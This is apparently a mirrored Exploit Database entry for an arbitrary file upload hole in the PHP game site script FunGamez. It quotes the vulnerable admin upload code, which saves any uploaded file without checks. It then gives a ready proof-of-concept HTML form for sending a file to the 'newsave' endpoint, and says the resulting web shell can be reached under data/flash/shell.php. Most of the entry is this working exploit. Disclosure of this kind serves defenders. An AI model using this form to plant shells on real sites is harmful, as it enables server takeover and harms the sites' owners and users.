FunGamez – Arbitrary File Upload

• Exploit Database
• 109 阅读

• 作者： cr4wl3r
  日期： 2013-08-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/27275/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

  # FunGamez Remote File Upload Vulnerability # Brought to you by cr4wl3r http://bastardlabs.info # Software Link: http://sourceforge.net/projects/fg-gsm/?source=dlp ----------------------------------------------- Source [FunGamez]/admin/modules/game.php   .......... 135</table></form><?php 136 } 137 Else If ( $mode == &apos;newsave&apos; ) 138 { 139 If ( $_FILES[&apos;src_upload&apos;][&apos;name&apos;] != &apos;&apos; && $_POST[&apos;src_link&apos;] != &apos;&apos; ) { header(&apos;Location: ./index.php?admin&module=game&mode=new&msg=doublesrc&apos;); die(); } 140 If ( ( $_FILES[&apos;src_upload&apos;][&apos;name&apos;] == &apos;&apos; && $_POST[&apos;src_link&apos;] == &apos;&apos; ) || $_POST[&apos;name&apos;] == &apos;&apos; ) { header(&apos;Location: ./index.php?admin&module=game&mode=new&msg=reqg&apos;); die(); } 141 If ( $_FILES[&apos;src_upload&apos;][&apos;name&apos;] != &apos;&apos; ) 142 { 143$src = $_FILES[&apos;src_upload&apos;][&apos;name&apos;]; 144 move_uploaded_file($_FILES[&apos;src_upload&apos;][&apos;tmp_name&apos;], &apos;./data/flash/&apos;.$_FILES[&apos;src_upload&apos;][&apos;name&apos;]); 145 } ..........     Proof of concept:   <form action="http://localhost/[FunGamez]/index.php?admin&module=game&mode=newsave" method="POST" enctype="multipart/form-data"> <input type="text" name="name" value="blablablablabla" /><br> <input type="file" name="src_upload" /><br> <input type="submit" value="w00tw00t" />   And your shell will be available here:   http://localhost/[FunGamez]/data/flash/shell.php   -----------------------------------------------   // Gorontalo 31 Juli 2013